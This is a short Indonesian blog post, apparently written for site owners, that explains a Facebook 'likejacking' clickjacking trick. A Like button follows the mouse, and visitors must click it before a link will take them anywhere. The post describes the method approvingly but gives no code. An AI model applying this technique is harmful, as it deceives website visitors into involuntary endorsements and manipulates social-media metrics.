Bukan Rahasia: Perampokan Jempol Visitor (Facebook ClickJacking)

Pada intinya Script Ini Memaksakan Kehendaknya untuk menge-Click tombol LIKE di WEB page yang sedang dibuka.

Karena kita tidak dapat menginjeksi css atau javascript di dalam iframe facebook, maka solusinya adalah dengan membuat tombol seperti mengikuti mouse. Ketika mouse tidak dosorot ke sebuah url/link maka akan terlihat biasa saja, tapi ketika mouse disorot ke sebuah url/link maka akan nampak sebuah tombol Facebook Like yang akan memaksa pengunjung untuk meng-klik tombol itu sebelum agar dapat mengunjungi alamat url/link yang disorot.

Setelah pengunjung meng-klik tombol itu, sebuah javascript akan mengarahkan pengunjung ke alamat url/link itu, selanjutnya tombol itu tidak akan nampak lagi (tapi hanya akan berlaku pada halaman itu saja). Pada halaman selanjutnya/baru, tombol Facebook Like akan kembali muncul.
